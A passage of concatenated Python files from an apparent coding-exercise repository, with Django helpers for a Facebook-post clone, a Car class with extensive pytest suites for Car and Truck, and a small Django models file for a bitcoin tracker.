comment_dict = get_comment_from_comment_object(comment_obj)
reply_list = []
for reply_obj in comments:
reply_parent_id_and_comment_id_same = (reply_obj.parent_comment_id ==
comment_obj.id)
if reply_parent_id_and_comment_id_same:
reply_dict = get_comment_from_comment_object(reply_obj)
reply_list.append(reply_dict)
comment_dict['replies_count'] = len(reply_list)
comment_dict['replies'] = reply_list
return comment_dict
def get_post_reactions_in_dict(obj):
reactions_dict = {"count": 0, "type": []}
for reaction_obj in obj.reactions.all():
reactions_dict['count'] += 1
reaction_not_in_reactions_dict = (reaction_obj.reaction not
in reactions_dict['type'])
if reaction_not_in_reactions_dict:
reactions_dict['type'].append(reaction_obj.reaction)
return reactions_dict
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_create_comment.py
from fb_post.models import Comment
from .fb_post_exception_methods import (
check_whether_user_id_exists,
check_whether_post_id_exists,
check_whether_comment_content_exists
)
# Task 03
def create_comment(user_id, post_id, comment_content):
check_whether_user_id_exists(user_id)
check_whether_post_id_exists(post_id)
check_whether_comment_content_exists(comment_content)
new_comment_object = (Comment.objects
.create(commented_by_id=user_id,
post_id=post_id,
content=comment_content))
return new_comment_object.id
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/test_car.py
import pytest
from car import Car
########### ******** Testing wether One object is creating ******** ###########
def test_car_creating_one_car_object_with_given_instances_creates_car_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
car_obj = Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Act
result = isinstance(car_obj, Car)
# Assert
assert result is True
########### ******** Testing wether Multiple objects are creating ******** ###########
def test_car_creating_multiple_car_objects_with_given_instances_creates_car_objects():
# Arrange
car_obj1 = Car(color='Red', max_speed=250, acceleration=50,
tyre_friction=10)
car_obj2 = Car(color='Black', max_speed=200, acceleration=40,
tyre_friction=7)
# Act
creation_of_car_object1 = isinstance(car_obj1, Car)
creation_of_car_object2 = isinstance(car_obj2, Car)
result = car_obj1 == car_obj2
# Assert
assert creation_of_car_object1 is True
assert creation_of_car_object2 is True
assert result is False
########### Testing the class Atrribute values Formats ###########
def test_car_object_color_when_color_type_is_invalid_raises_exception():
"""test that exception is raised for invalid color format"""
# Arrange
color = 1
max_speed = 30
acceleration = 10
tyre_friction = 3
# Act
with pytest.raises(Exception) as e:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(e.value) == "Invalid value for color"
""" **** Testing Exceptions of class Atrribute values
if not Positive type and Non-Zero **** """
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(-1, 10, 3), (0, 30, 10), ('1', 30, 20)])
def test_car_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(210, '10', 3), (100, 0, 10), (180, -30, 20)])
def test_car_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(210, 30, '10'), (100, 20, -1), (180, 40, 0)])
def test_car_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
# Arrange
color = 'Red'
#Act
with pytest.raises(Exception) as e:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(e.value) == 'Invalid value for tyre_friction'
########### ******** Multiple Testings ******** ###########
@pytest.fixture
def car(): # Our Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
car_obj = Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
return car_obj
def test_car_object_when_engine_is_started_returns_true(car):
# Arrange
car.start_engine()
# Act
car_engine_start = car.is_engine_started
# Assert
assert car_engine_start is True
def test_car_object_when_engine_is_started_twice_returns_true(car):
# Arrange
car.start_engine()
car.start_engine()
# Act
car_engine_start = car.is_engine_started
# Assert
assert car_engine_start is True
def test_car_object_when_engine_is_stop_returns_false(car):
# Arrange
car.stop_engine()
# Act
car_engine_stop = car.is_engine_started
# Assert
assert car_engine_stop is False
def test_car_object_when_engine_is_stop_twice_returns_false(car):
# Arrange
car.stop_engine()
car.stop_engine()
# Act
car_engine_stop = car.is_engine_started
# Assert
assert car_engine_stop is False
def test_car_object_accelerate_when_engine_is_started_returns_current_speed(car):
# Arrange
car.start_engine()
current_speed = 40
# Act
car.accelerate()
# Assert
assert car.current_speed == current_speed
def test_car_object_accelerate_when_car_object_current_speed_is_equal_to_car_object_max_speed_limit_returns_max_speed(car):
# Arrange
car.start_engine()
max_speed = 200
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
# Act
car.accelerate()
# Assert
assert car.current_speed == max_speed
# ***** New capsys terminology ******* #
def test_car_object_accelerate_when_car_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, car):
# Act
car.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
def test_car_object_sound_horn_when_engine_is_started_returns_Beep_Beep(capsys, car):
# Arrange
car.start_engine()
# Act
car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Beep Beep\n'
def test_car_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_horn(capsys, car):
# Act
car.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_car_object_color(car):
# Act
with pytest.raises(Exception) as e:
car.color = 'Black'
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_car_object_acceleration(car):
# Act
with pytest.raises(Exception) as e:
car.acceleration = 20
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_car_object_max_speed(car):
# Act
with pytest.raises(Exception) as e:
car.max_speed = 400
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_car_object_tyre_friction(car):
# Act
with pytest.raises(Exception) as e:
car.tyre_friction = 40
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_car_object_is_engine_started(car):
# Act
with pytest.raises(Exception) as e:
car.is_engine_started = True
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_car_object_current_speed(car):
# Act
with pytest.raises(Exception) as e:
car.current_speed = 300
# Assert
assert str(e.value) == "can't set attribute"
#---------------------------------------#
@pytest.mark.parametrize(
"color, max_speed, acceleration, tyre_friction, current_speed", [
('Red', 1, 1, 1, 1), ('Blue', 150, 30, 10, 20),
('Black', 200, 40, 10, 30)])
def test_car_object_accelerate_when_car_object_current_speed_is_more_than_car_object_max_speed_limit_returns_max_speed(color, max_speed, acceleration, tyre_friction, current_speed):
# Arrange
car = Car(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction)
car.start_engine()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
car.accelerate()
# Act
car.accelerate()
# Asset
assert car.current_speed == max_speed
def test_car_object_current_speed_when_car_object_is_in_idle_postion_intially_returns_zero():
# Arrange
car = Car(color='Red', max_speed=180, acceleration=45, tyre_friction=4)
# Act
car_idle_initial_speed = car.current_speed
# Act
assert car_idle_initial_speed == 0
def test_car_object_current_speed_when_car_object_engine_is_stopped_from_motion_returns_current_speed():
# Arrange
car = Car(color='Red', max_speed=180, acceleration=45, tyre_friction=4)
car.start_engine()
current_speed = 135
car.accelerate()
car.accelerate()
car.accelerate()
# Act
car.stop_engine()
# Assert
assert car.current_speed == current_speed
def test_apply_brakes_when_car_object_is_in_motion_returns_current_speed(car):
# Arrange
car.start_engine()
car.accelerate()
car.accelerate()
current_speed = 70
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
@pytest.mark.parametrize(
"color,max_speed, acceleration, tyre_friction, current_speed", [
('Red', 200, 50, 20, 30), ('Blue', 150, 25, 25, 0)])
def test_apply_breaks_when_car_object_current_speed_is_more_than_or_equal_to_car_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, current_speed):
# Arrange
car = Car(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction)
car.start_engine()
car.accelerate()
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
def test_apply_breaks_when_car_object_current_speed_is_less_than_car_object_tyre_friction_returns_zero():
# Arrange
car = Car(color='Red', max_speed=200, acceleration=40, tyre_friction=15)
car.start_engine()
car.accelerate()
current_speed_when_less_than_tyre_friction = 0
car.apply_brakes()
car.apply_brakes()
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_car_object_current_speed_is_equal_to_car_object_tyre_friction_returns_current_speed():
# Arrange
car = Car(color='Red', max_speed=200, acceleration=40, tyre_friction=10)
car.start_engine()
car.accelerate()
current_speed = 10
car.apply_brakes()
car.apply_brakes()
# Act
car.apply_brakes()
# Assert
assert car.current_speed == current_speed
<file_sep>/bitcoin_tracker/historical_data/models.py
from django.db import models
from django.utils.html import format_html
# Create your models here.
class PriceHistory(models.Model):
date = models.DateTimeField(auto_now_add=True)
price = models.IntegerField()
volume = models.IntegerField()
total_btc = models.IntegerField(default=0)
from django.contrib import admin
# class Customer(models.Model):
# first_name = models.CharField(max_length=50)
# last_name = models.CharField(max_length=50)
# address = models.CharField(max_length=200)
# created_on = models.DateField(auto_now=True)
# color_code = models.CharField(max_length=6)
# def colored_name(self):
# return format_html(
# '<span style="color: #{};">{} {}</span>',
# self.color_code,
# self.first_name,
# self.last_name,
# )
class Person(models.Model):
first_name = models.CharField(max_length=50)
birthday = models.DateField()
def born_in_fifties(self):
return self.birthday.strftime('%Y')[:3] == '195'
born_in_fifties.boolean = True
class PersonAdmin(admin.ModelAdmin):
# list_display = ('__str__', 'first_name')
list_display = ('first_name', 'born_in_fifties')
# class PersonAdmin(admin.ModelAdmin):
# list_display = ('first_name', 'last_name')
# def upper_case_name(obj):
# return ("%s %s" % (obj.first_name, obj.last_name)).upper()
# upper_case_name.short_description = 'Name'
# class PersonAdmin(admin.ModelAdmin):
# list_display = (upper_case_name,)
class Blog(models.Model):
title = models.CharField(max_length=255)
author = models.ForeignKey(Person, on_delete=models.CASCADE)
class BlogAdmin(admin.ModelAdmin):
list_display = ('title', 'author', 'author_first_name')
def author_first_name(self, obj):
return obj.author.first_name
author_first_name.admin_order_field = 'author__first_name'
class MyModelAdmin(admin.ModelAdmin):
def get_queryset(self, request):
qs = super().get_queryset(request)
if request.user.is_superuser:
return qs.filter(id__in=[1,2])
return qs.filter(author=request.user)
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_004/fb_post/utils/fb_post_get_reactions_to_post.py
from django.db.models import F
from fb_post.models import Reaction
from .fb_post_exception_methods import check_whether_post_id_exists
# Task 12
def get_reactions_to_post(post_id):
check_whether_post_id_exists(post_id)
list_of_reactions_to_post = list(Reaction.objects
.filter(post_id=post_id)
.annotate(user_id=F('reacted_by__id'),
name=F('reacted_by__name'),
profile_pic=F(
'reacted_by__profile_pic'))
.values('user_id', 'name', 'profile_pic',
'reaction'))
return list_of_reactions_to_post
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/test_truck.py
import pytest
from truck import Truck
@pytest.fixture
def truck(): # Our Fixture function
# Arrange
color = 'Red'
max_speed = 200
acceleration = 40
tyre_friction = 10
max_cargo_weight = 180
truck_obj = Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
return truck_obj
########### Testing wether One object is creating ###########
def test_truck_creating_one_truck_object_with_given_instances_creates_truck_object():
# Arrange
color = 'Black'
max_speed = 200
acceleration = 30
tyre_friction = 7
max_cargo_weight = 150
truck_obj = Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Act
result = isinstance(truck_obj, Truck)
# Assert
assert result is True
########### Testing wether Multiple objects are creating ###########
def test_truck_creating_multiple_truck_objects_with_given_instances_creates_truck_objects():
# Arrange
truck_obj1 = Truck(color='Red', max_speed=250, acceleration=50,
tyre_friction=10, max_cargo_weight=300)
truck_obj2 = Truck(color='Black', max_speed=200, acceleration=40,
tyre_friction=7, max_cargo_weight=250)
# Act
creation_of_truck_object1 = isinstance(truck_obj1, Truck)
creation_of_truck_object2 = isinstance(truck_obj2, Truck)
result = truck_obj1 == truck_obj2
# Assert
assert creation_of_truck_object1 is True
assert creation_of_truck_object2 is True
assert result is False
########### Testing the class Atrribute values Formats ###########
def test_truck_object_color_when_color_type_is_invalid_raises_exception():
"""test that exception is raised for invalid color format"""
# Arrange
from truck import Truck
color = 1
max_speed = 30
acceleration = 10
tyre_friction = 3
max_cargo_weight = 150
# Act
with pytest.raises(Exception) as e:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(e.value) == "Invalid value for color"
'Testing Exceptions of Atrribute values if not Positive type and Non-Zero'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(-1, 10, 3, 200), (0, 30, 10, 150), ('1', 30, 20, 200)])
def test_truck_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(e.value) == 'Invalid value for max_speed'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, '10', 3, 150), (100, 0, 10, 180), (180, -30, 20, 170)])
def test_truck_object_acceleration_when_acceleration_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(e.value) == 'Invalid value for acceleration'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, 30, '10', 160), (100, 20, -1, 200), (180, 40, 0, 100)])
def test_truck_object_tyre_friction_when_tyre_friction_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(e.value) == 'Invalid value for tyre_friction'
@pytest.mark.parametrize(
"max_speed, acceleration, tyre_friction, max_cargo_weight", [
(210, 30, 10, '160'), (100, 20, 1, -1), (180, 40, 10, 0)])
def test_truck_object_max_cargo_when_max_cargo_type_is_invalid_raises_exception(max_speed, acceleration, tyre_friction, max_cargo_weight):
# Arrange
color = 'Red'
# Act
with pytest.raises(Exception) as e:
assert Truck(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
# Assert
assert str(e.value) == 'Invalid value for max_cargo_weight'
########### ******** Multiple Testings ******** ###########
def test_truck_object_when_engine_is_started_returns_true(truck):
# Arrange
truck.start_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is True
def test_truck_object_when_engine_is_started_twice_returns_true(truck):
# Arrange
truck.start_engine()
truck.start_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is True
def test_truck_object_when_engine_is_stop_returns_false(truck):
# Arrange
truck.stop_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is False
def test_truck_object_when_engine_is_stop_twice_returns_false(truck):
# Arrange
truck.stop_engine()
truck.stop_engine()
# Act
result = truck.is_engine_started
# Assert
assert result is False
def test_truck_object_accelerate_when_engine_is_started_returns_current_speed(truck):
# Arrange
truck.start_engine()
current_speed = 40
# Act()
truck.accelerate()
# Assert
assert truck.current_speed == current_speed
def test_truck_object_accelerate_when_truck_object_current_speed_is_equal_to_truck_object_max_limit_returns_max_speed(truck):
# Arrange
truck.start_engine()
max_speed = 200
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Act
truck.accelerate()
# Assert
assert truck.current_speed == max_speed
# ***** New capsys terminology ******* #
def test_truck_object_accelerate_when_truck_engine_is_stop_returns_start_the_engine_to_accelerate(capsys, truck):
# Act
truck.accelerate()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to accelerate\n'
def test_truck_object_sound_horn_when_engine_is_started_returns_Honk_Honk(capsys, truck):
# Arrange
truck.start_engine()
# Act
truck.sound_horn()
captured = capsys.readouterr()
# Asset
assert captured.out == 'Honk Honk\n'
def test_truck_object_sound_horn_when_engine_is_stop_returns_start_the_engine_to_sound_hor(capsys, truck):
# Act
truck.sound_horn()
captured = capsys.readouterr()
# Assert
assert captured.out == 'Start the engine to sound_horn\n'
######## *********** Testing Encapusulation *********** ########
def test_encapsulation_of_truck_object_color(truck):
# Act
with pytest.raises(Exception) as e:
truck.color = 'Black'
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_acceleration(truck):
# Act
with pytest.raises(Exception) as e:
truck.acceleration = 20
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_max_speed(truck):
# Act
with pytest.raises(Exception) as e:
truck.max_speed = 400
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_tyre_friction(truck):
# Act
with pytest.raises(Exception) as e:
truck.tyre_friction = 40
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_max_cargo_weight(truck):
# Act
with pytest.raises(Exception) as e:
truck.max_cargo_weight = 300
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_is_engine_started(truck):
# Act
with pytest.raises(Exception) as e:
truck.is_engine_started = True
# Assert
assert str(e.value) == "can't set attribute"
def test_encapsulation_of_truck_object_current_speed(truck):
# Act
with pytest.raises(Exception) as e:
truck.current_speed = 300
# Assert
assert str(e.value) == "can't set attribute"
#---------------------------------------------------------------------#
@pytest.mark.parametrize(
"""color, max_speed, acceleration,
tyre_friction, max_cargo_weight, current_speed""", [
('Red', 1, 1, 1, 1, 1), ('Blue', 150, 30, 10, 200, 20),
('Black', 200, 40, 10, 180, 30)])
def test_truck_object_accelerate_when_truck_object_current_speed_is_more_than_truck_object_max_limit_returns_max_speed(color, max_speed, acceleration, tyre_friction, max_cargo_weight, current_speed):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Act
truck.accelerate()
# Asset
assert truck.current_speed == max_speed
def test_truck_object_current_speed_when_truck_object_is_in_idle_postion_intially_returns_zero():
# Arrange
truck = Truck(color='Red', max_speed=180, acceleration=45,
tyre_friction=4, max_cargo_weight=150)
# Act
truck_idle_initial_speed = truck.current_speed
# Assert
assert truck_idle_initial_speed == 0
def test_truck_object_current_speed_when_truck_object_is_stop_from_motion_returns_current_speed():
# Arrange
truck = Truck(color='Red', max_speed=180, acceleration=45,
tyre_friction=4, max_cargo_weight=100)
truck.start_engine()
current_speed = 135
truck.accelerate()
truck.accelerate()
truck.accelerate()
# Act
truck.stop_engine()
# Assert
assert truck.current_speed == current_speed
def test_apply_brakes_when_truck_object_is_in_motion_returns_current_speed(truck):
# Arrange
truck.start_engine()
truck.accelerate()
truck.accelerate()
current_speed = 70
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction,
max_cargo_weight, current_speed""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 0),
('Black', 250, 20, 30, 100, 0)])
def test_apply_breaks_when_truck_object_current_speed_is_more_than_or_equal_to_truck_object_tyre_friction_returns_current_speed(color, max_speed, acceleration, tyre_friction, max_cargo_weight, current_speed):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
truck.accelerate()
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
def test_apply_breaks_when_truck_object_current_speed_is_less_than_truck_object_tyre_friction_returns_zero():
# Arrange
truck = Truck(color='Red', max_speed=200, acceleration=40,
tyre_friction=15, max_cargo_weight=80)
truck.start_engine()
truck.accelerate()
current_speed_when_less_than_tyre_friction = 0
truck.apply_brakes()
truck.apply_brakes()
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed_when_less_than_tyre_friction
def test_apply_breaks_when_truck_object_current_speed_is_equal_to_truck_object_tyre_friction_returns_current_speed():
# Arrange
truck = Truck(color='Red', max_speed=200, acceleration=40,
tyre_friction=10, max_cargo_weight=90)
truck.start_engine()
truck.accelerate()
current_speed = 10
truck.apply_brakes()
truck.apply_brakes()
# Act
truck.apply_brakes()
# Assert
assert truck.current_speed == current_speed
def test_load_to_truck_when_truck_is_in_motion_returns_cannot_load_cargo_during_motion(capsys, truck):
# Arrange
truck.start_engine()
truck.accelerate()
load_cargo_weight = 40
# Act
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Asset
assert captured.out == 'Cannot load cargo during motion\n'
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90)])
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_less_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_load_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.load(load_cargo_weight)
# Assert
assert truck._cargo_weight == load_cargo_weight
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
('Red', 200, 50, 20, 180, 30), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90), ('Green', 200, 50, 20, 180, 180)])
def test_load_to_truck_when_truck_engine_is_started_and_not_in_motion_and_truck_cargo_weight_is_less_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_load_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.load(load_cargo_weight)
# Assert
assert truck._cargo_weight == load_cargo_weight
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [
('Red', 200, 50, 20, 180, 95), ('Blue', 150, 25, 25, 100, 60)])
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_more_than_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_max_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight, capsys):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
limit_message = 'Cannot load cargo more than max limit: {}\n'.format(
max_cargo_weight)
truck.load(load_cargo_weight)
# Act
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight""", [('Blue', 150, 25, 25, 100, 150)])
def test_load_to_truck_when_truck_is_idle_and_truck_cargo_weight_is_equal_to_max_cargo_weight_then_truck_is_loaded_with_given_load_returns_max_cargo_weight(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight, capsys):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
limit_message = 'Cannot load cargo more than max limit: {}\n'.format(
max_cargo_weight)
# Act
truck.load(load_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
def test_unload_in_truck_when_truck_is_in_motion_returns_cannot_unload_cargo_during_motion(capsys, truck):
# Arrange
truck.start_engine()
truck.accelerate()
unload_cargo_weight = 40
# Act
truck.unload(unload_cargo_weight)
captured = capsys.readouterr()
# Asset
assert captured.out == 'Cannot unload cargo during motion\n'
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
unload_cargo_weight""", [
('Red', 200, 50, 20, 180, 1), ('Blue', 150, 25, 25, 100, 1),
('Black', 250, 20, 30, 100, 90)])
def test_unload_in_truck_when_truck_engine_is_started_and_not_in_motion_and_truck_is_unloaded_without_load_with_given_unload_weight_returns_zeo(color, max_speed, acceleration, tyre_friction, max_cargo_weight, unload_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
# Act
truck.unload(unload_cargo_weight)
# Assert
assert truck._cargo_weight == 0
@pytest.mark.parametrize(
"""color, max_speed, acceleration, tyre_friction, max_cargo_weight,
load_cargo_weight, unload_cargo_weight, remained_cargo_weight""", [
('Red', 300, 70, 20, 190, 100, 90, 10),
('Black', 250, 20, 30, 150, 1, 1, 0)])
def test_unload_in_loaded_truck_when_truck_is_not_in_motion_with_decrease_of_load_with_given_unload_cargo_weight_returns_remained_cargo_weight_in_truck(color, max_speed, acceleration, tyre_friction, max_cargo_weight, load_cargo_weight, unload_cargo_weight, remained_cargo_weight):
# Arrange
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
truck.start_engine()
truck.load(load_cargo_weight)
# Act
truck.unload(unload_cargo_weight)
# Assert
assert truck._cargo_weight == remained_cargo_weight
def test_unload_in_loaded_truck_when_truck_is_not_in_motion_with_decrease_of_load_with_given_unload_cargo_weight_more_than_load_in_truck_returns_cannot_unload_cargo_as_load_in_truck_is_less_than_given_unload_cargo_weight(capsys):
# Arrange
color = 'Blue'
max_speed = 150
acceleration = 30
tyre_friction = 10
max_cargo_weight = 100
load_cargo_weight = 80
unload_cargo_weight = 100
truck = Truck(color=color, max_speed=max_speed, acceleration=acceleration,
tyre_friction=tyre_friction,
max_cargo_weight=max_cargo_weight)
limit_message = "Can't unload cargo less than given unload cargo weight\n"
truck.load(load_cargo_weight)
# Act
truck.unload(unload_cargo_weight)
captured = capsys.readouterr()
# Assert
assert captured.out == limit_message
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/car.py
class Car:
_horn = 'Beep Beep'
def __init__(self, max_speed, acceleration, tyre_friction, color=None):
self._color = color
self._max_speed = max_speed
self._acceleration = acceleration
self._tyre_friction = tyre_friction
self._is_engine_started = False
self._current_speed = 0
self.check_not_string_type(color, "color")
self.check_negative_zero_and_string_type(max_speed, "max_speed")
self.check_negative_zero_and_string_type(acceleration, "acceleration")
self.check_negative_zero_and_string_type(tyre_friction,
"tyre_friction")
@property
def color(self):
return self._color
@property
def max_speed(self):
return self._max_speed
@property
def acceleration(self):
return self._acceleration
@property
def tyre_friction(self):
return self._tyre_friction
@property
def is_engine_started(self):
return self._is_engine_started
@property
def current_speed(self):
return self._current_speed
@staticmethod
def check_not_string_type(attribute, attribute_name):
if not isinstance(attribute, str):
raise ValueError('Invalid value for {}'.format(attribute_name))
def check_negative_zero_and_string_type(self, value, attribute_name):
if self.is_not_positive_and_not_int(value):
raise ValueError('Invalid value for {}'.format(attribute_name))
@staticmethod
def is_not_positive_and_not_int(value):
return isinstance(value, str) or value <= 0
def start_engine(self):
self._is_engine_started = True
def stop_engine(self):
self._is_engine_started = False
def accelerate(self):
if self._is_engine_started:
self._current_speed += self._acceleration
if self._current_speed >= self._max_speed:
self._current_speed = self._max_speed
else:
print('Start the engine to accelerate')
def apply_brakes(self):
if self._current_speed >= self._tyre_friction:
self._current_speed -= self._tyre_friction
else:
self._current_speed = 0
def sound_horn(self):
if self._is_engine_started:
print(self._horn)
else:
print('Start the engine to sound_horn')
<file_sep>/clean_code/clean_code_submissions/clean_code_assignment_002/tests/test_car_invalid_types.py
import pytest
from car import Car
########### Testing the class Atrribute values Formats ###########
def test_car_object_color_when_color_type_is_invalid_raises_exception():
"""test that exception is raised for invalid color format"""
# Arrange
color = 1
max_speed = 30
acceleration = 10
tyre_friction = 3
# Act
with pytest.raises(Exception) as exception:
assert Car(color=color, max_speed=max_speed,
acceleration=acceleration, tyre_friction=tyre_friction)
# Assert
assert str(exception.value) == "Invalid value for color"
#Testing Exceptions of class Atrribute values if not Positive type and Non-Zero
@pytest.mark.parametrize("max_speed, acceleration, tyre_friction",
[(-1, 10, 3), (0, 30, 10), ('1', 30, 20)])
def test_car_object_max_speed_when_max_speed_value_is_invalid_raises_exception(max_speed, acceleration, tyre_friction):
